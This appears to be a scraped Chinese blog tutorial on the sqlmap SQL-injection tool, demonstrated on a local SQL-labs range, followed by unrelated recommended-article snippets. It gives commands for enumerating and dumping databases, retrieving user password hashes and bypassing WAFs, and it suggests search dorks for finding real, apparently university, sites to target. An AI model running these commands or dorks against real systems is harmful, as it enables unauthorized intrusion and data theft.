SQLmap使用教程图文教程(超详细)

2023-11-13

「作者主页」:士别三日wyx
「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
「推荐专栏」:对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》

在这里插入图片描述

SQLmap是一款「自动化」SQL注入工具,kali自带。路径 /usr/share/sqlmap

打开终端,输入sqlmap,出现以下界面,就说明SQLmap「可用」

在这里插入图片描述

本篇文章使用本地搭建的SQL-labs靶场作为「演示」目标,其他目标可使用必应搜索以下类型的网站:

inurl:news.asp?id=site:edu.cn
inurl:news.php?id= site:edu.cn
inurl:news.aspx?id=site:edu.cn

在这里插入图片描述

快速入门;SQLmap(常规)使用步骤

1、检测「注入点」

sqlmap -u 'http://xx/?id=1'

2、查看所有「数据库」

sqlmap -u 'http://xx/?id=1' --dbs

3、查看当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db

4、查看「数据表」

sqlmap -u 'http://xx/?id=1' -D 'security' --tables

5、查看「字段」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables

6、查看「数据」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

一、目标

检测「注入点」前,需要指定需要检测的「对象」

1、指定url

-u 参数,指定需要检测的url,单/双引号包裹。中间如果有提示,就输入y。

提示:SQLmap不能直接「扫描」网站漏洞,先用其他扫描工具扫出注入点,再用SQLmap验证并「利用」注入点。

sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1'

扫描完成后,告诉我们存在的注入类型和使用的数据库及版本。

在这里插入图片描述

2、指定文件(批量检测)

准备一个「文件」,写上需要检测的多个url,一行一个。

在这里插入图片描述

-m 指定文件,可以「批量扫描」文件中的url。

sqlmap -m urls.txt

在这里插入图片描述

逐个扫描url,需要确认就按y。

在这里插入图片描述

扫描完一个,就会提示存在的注入点。

在这里插入图片描述

然后再按y扫描下一个url。

在这里插入图片描述

3、指定数据库/表/字段

-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。

-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。

-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump

4、post请求

检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

sqlmap -r bp.txt

5、cookie注入

--cookie 指定cookie的值,单/双引号包裹。

sqlmap -u "http://xx?id=x" --cookie 'cookie'

二、脱库

获取所有内容

sqlmap -u 'http://xx/?id=1' -a

-a 就是 all 的意思,获取所有能获取的内容,会消耗很长时间。

在这里插入图片描述

1、获取数据库

--dbs 获取数据库

1.1、获取数据库版本

sqlmap -u 'http://xx/?id=1' -b

在这里插入图片描述

最后面显示数据库的版本,这里检测的版本是 5.7.26。

在这里插入图片描述

1.2、获取当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db

在这里插入图片描述

在最后面显示当前使用的数据库的名字是 security。

在这里插入图片描述

1.3、获取所有数据库

sqlmap -u 'http://xx/?id=1' --dbs

在这里插入图片描述

最后面显示所有数据库的名字。

在这里插入图片描述

2、获取表

--tables 获取表

2.1、获取表,可以指定数据库

sqlmap -u 'http://xx/?id=1' -D 'security' --tables

在这里插入图片描述

最后面显示数据库(security)里所有的表名。

在这里插入图片描述

2.2、同时获取多个库的表名,库名用逗号分隔。

sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables

在这里插入图片描述

2.3、不指定数据库,默认获取数据库中所有的表。

sqlmap -u 'http://xx/?id=1' --tables

在这里插入图片描述
最后面显示每个数据库下都有哪些表。

在这里插入图片描述


3、获取字段

--columns 参数用来获取字段。

3.1、获取字段,可以指定库和表

提示:只指定库名但不指定表名会报错。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns

在这里插入图片描述

最后面显示表(users)中的所有字段。

在这里插入图片描述

3.2、不指定表名,默认获取当前数据库中所有表的字段。

sqlmap -u 'http://xx/?id=1' --columns

在这里插入图片描述

4、获取字段类型

--schema 获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。

sqlmap -u 'http://xx/?id=1' -D 'security' --schema

最后面显示每个表的字段类型。

在这里插入图片描述

5、获取值(数据)

--dump 获取值,也就是表中的数据。可以指定具体的库、表、字段。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump

在这里插入图片描述
获取指定库中所有表的数据。

sqlmap -u 'http://xx/?id=1' -D 'security' --dump

在这里插入图片描述

默认获取表中的所有数据,可以使用 --start --stop 指定开始和结束的行,只获取一部分数据。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5  --dump

在这里插入图片描述


6、获取用户

6.1、获取当前登录数据库的用户

sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --current-user

在这里插入图片描述

最后面显示当前登录数据库的用户是 root@localhost。

在这里插入图片描述

6.2、获取所有用户

--users 获取数据库的所有用户名。

sqlmap -u 'http://xx/?id=1' --users

在这里插入图片描述

最后面显示数据库的所有用户名。

在这里插入图片描述

6.3、获取用户密码

--passwords 获取所有数据库用户的密码(哈希值)。

数据库不存储明文密码,只会将密码加密后,存储密码的哈希值,所以这里只能查出来哈希值;当然,你也可以借助工具把它们解析成明文。

在这里插入图片描述

最后面显示数据库用户名对应的密码(哈希值)。

在这里插入图片描述

6.4、获取用户权限

--privileges 查看每个数据库用户都有哪些权限。

sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --privileges

在这里插入图片描述

最后面显示每个数据库用户所拥有的权限。这里root的权限最多,很明显它就是数据库的管理员账号。

在这里插入图片描述

6.5、判断当前用户是不是管理员

--is-dba 判断当前登录的用户是不是数据库的管理员账号。

sqlmap -u 'http://xx/?id=1' --is-dba

在这里插入图片描述

如果是管理员,就在最后面显示 true。

在这里插入图片描述


7、获取主机名

--hostname 获取服务器主机名。

sqlmap -u 'http://xx/?id=1' --hostname

在这里插入图片描述

最后面显示服务器的主机名是 DESKTOP。

在这里插入图片描述


8、搜索库、表、字段。

--search 搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。

搜索数据库中有没有 security 这个数据库:

sqlmap -u 'http://xx/?id=1' -D 'security' --search

在这里插入图片描述

需要手动选择模糊匹配(1)还是完全匹配(2),而后返回匹配的结果。

在这里插入图片描述

也可以搜索表

sqlmap -u 'http://xxx/?id=1' -T 'users' --search

或者搜索字段

sqlmap -u 'http://xx/?id=1' -C 'username' --search

9、正在执行的SQL语句

--statements 获取数据库中正在执行的SQL语句。

sqlmap -u 'http://xx/?id=1' --statements

在这里插入图片描述

最后面显示正在执行的SQL语句。

在这里插入图片描述

三、WAF绕过

--tamper 指定绕过脚本,绕过WAF或ids等。

sqlmap -u 'http://xx/?id=1' --tamper 'space2comment.py'

在这里插入图片描述

SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下:

在这里插入图片描述

脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格。

当然,你也可以根据内置脚本格式,自己定义绕过脚本。


三、其他

--batch (默认确认)不再询问是否确认。

--method=GET 指定请求方式(GET/POST)

--random-agent 随机切换UA(User-Agent)

--user-agent ' ' 使用自定义的UA(User-Agent)

--referer ' ' 使用自定义的 referer

--proxy="127.0.0.1:8080" 指定代理

--threads 10 设置线程数,最高10

--level=1 执行测试的等级(1-5,默认为1,常用3)

--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。


本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQLmap使用教程图文教程(超详细) 的相关文章

随机推荐

  • 海思麒麟985性能简介

    海思麒麟985 SoC由中国台湾积体电路制造有限公司打造 是麒麟980的升级改良版 率先使用7nm工艺制作 是对上一代10nm芯片的改进 主要在功耗和性能上做了较大改进 麒麟985大致参数为1 3 4 CPU架构 8核Mali G77 GP
  • mali GPU 官网指南

    1 简介 GPU 图形处理单元 是一种专门在个人电脑 工作站 游戏机和移动设备上图形运算工作的微处理器 以前GPU主要用于图形处理 现在GPU的通用计算技术也得到了飞速发展 事实证明在浮点运算 并行计算等部分计算方面 GPU可以提供数十倍乃
  • 【python】python如何从一个文件中引入另一个文件中的变量

    直接和导入python的函数一样导入变量名即可 十分方便 from target file import variant name
  • STM32学习笔记五、RST复位

    1 STM32硬复位 STM32片内已经有复位电路了 可以不外接复位电路 复位引脚一般不宜悬空 所以STM32在NRST引脚内接了一个上拉电阻 典型值为40K 为了防止外部干扰 STM32数据手册上建议外接一个对地电容 如果用户认为内部上拉
  • java后端接入微信小程序登录功能

    java后端接入微信小程序登录功能 前言 此文章是Java后端接入微信登录功能 由于项目需要 舍弃了解密用户信息的session key 只保留openid用于检索用户信息 后端框架 spring boot 小程序框架 uniapp 流程概
  • 【ROS】虚拟机VMware 安装ROS 一条龙教程+部分报错解决

    前言 Linux下安装ROS真是太多坑了 如何在Linux下安装ROS呢 博主带你少走弯路 目录 前言 第一步 配置软件源 1 打开设置 2 打开软件与更新 3 选源 第二步 设置sources list 第三步 设置密钥 第四步 正式安装
  • C#中断点不能调试问题(当前不会命中断点,还没有为该文档加载任何资料 )

    1 winform 程序中 经常会出现的一个错误 断点不可调试 1 当前不会命中断点 还没有为该文档加载任何资料 问题原因 窗口所在的类库或者项目在应用程序目录中 release或者debug 中只生成了dll文件 没有生成pdb文件 例如
  • css如何实现盒子在鼠标点,掌握CSS定位,才能让“盒子”飞得更高更远更稳

    众所周知 前端CSS中 盒模型 浮动 定位为必须掌握的三座大山 今天就来聊聊定位的那些事 定位是什么 先来看看哪些场景用到定位 如下图所示 凡是有盒子压住另一个盒子的地方都可定位 因为用浮动做不了 如果盒子浮动 会并排但不会出现有层级的观感
  • STM32F4 IAP

    功能实现 正常上电或复位后运行用户Bootloader程序 检查变量存储区的标志位 如果标志位为APP FLAG则跳转到APP程序运行 如果标志位为BOOT FLAG 则运行用户Bootloader程序 等待接收文件并准备IAP升级后跳转到
  • (数据挖掘-入门-8)基于朴素贝叶斯的文本分类器

    主要内容 1 动机 2 基于朴素贝叶斯的文本分类器 3 python实现 一 动机 之前介绍的朴素贝叶斯分类器所使用的都是结构化的数据集 即每行代表一个样本 每列代表一个特征属性 但在实际中 尤其是网页中 爬虫所采集到的数据都是非结构化的
  • Android界面设计:Material Design之下拉刷新

    目录 下拉刷新的核心类 SwipeRefreshLayout 下拉刷新的核心类 SwipeRefreshLayout 下拉刷新这种功能并不是什么新鲜的东西 所有的应用里都会有这个功能 把想要实现下拉刷新功能的控件放置到SwipeRefres
  • 【每日一题】字符串中找出连续最长的数字串(字符串、贪心)

    题目来源 牛客网 链接 字符串中找出连续最长的数字串 题目描述 读入一个字符串str 输出字符串str中的连续最长的数字串 输入描述 测试输入包含1个测试用例 一个字符串str 长度不超过255 输出描述 在一行内输出str中里连续最长的数
  • 数仓建模理论——高质量数据建模

    数仓质量 数据模型的概念和意义 DIKW 低质量数据模型十宗罪 低质量数据模型的影响 数仓必备技能 1 建模基础 实体 2 建模基础 属性 Attribute 3 域 Domain NULL值的处理 规范化 范式 第一范式 原子性 没有重复
  • 不归零法编码、曼彻斯特编码和差分曼彻斯特编码

    数字信号和数位化编码的数据之间存在着自然的联系 数位化存储的数据表现为0和1的序列 由于数字信号能够在两个恒量之间交替变换 所以可以简单地把0赋予其中的一个恒量 而把1赋予另一个恒量 这里恒量的具体取值并不重要 如果是电子信号的话 这两个恒
  • Struts2 S2-062(CVE-2021-31805)漏洞分析及复现

    简介 2022年4月12日 Apache发布安全公告 修复了一个Apache Struts2 中的远程代码执行漏洞S2 062 CVE 2021 31805 攻击者可以利用此漏洞来控制受影响的系统 该漏洞是由于 2020 年 S2 061
  • 2016xctf一道ctf题目

    首先是index php
  • CUDA中__syncthreads()和__threadfence_block()和__trheadfence()

    作为cuda小白 我看完书上对这三个函数的解释 仍然不懂 于是做了以下几个实验来理解这三个函数的使用区别 我们先来看看 threadfence block 是在干啥 这个实验非常简单 A数组的长度为1024 一个block的大小 先往A 0
  • 文件上传之.htaccess绕过黑名单——upload-labs靶场第四关

    今天继续给大家介绍渗透测试相关知识 本文主要内容是介绍 htaccess绕过黑名单的文件上传方法 并借助upload labs靶场的第四关进行了实战 免责声明 本文所介绍的内容仅做学习交流使用 严禁利用文中技术进行非法行为 否则造成一切严重
  • springboot 获取当前日期_spring-boot 日期转换

    在springboot里面有的小伙伴可能遇到过这样一个问题 通过表单提交发送请求 后台用一个对象接收 类似String int Long这样的都能正常接收 一旦有日期类型的 Date 的 无法正常接收 甚至连方法也没有进入 给人一种没有提交
  • SQLmap使用教程图文教程(超详细)

    作者主页 士别三日wyx 作者简介 CSDN top100 阿里云博客专家 华为云享专家 网络安全领域优质创作者 推荐专栏 对网络安全感兴趣的小伙伴可以关注专栏 网络安全入门到精通 SQLmap 一 目标 1 指定url 2 指定文件 批量